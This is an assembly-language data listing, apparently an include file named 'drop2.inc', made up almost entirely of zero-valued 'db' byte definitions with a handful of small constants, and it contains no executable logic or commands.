db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 30h ; 0
db 0 ;
db 0 ;
db 0Ch ;
db 0 ;
db 0 ;
db 0 ;
db 2 ;
db 30h ; 0
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[drop2.inc]ÄÄÄ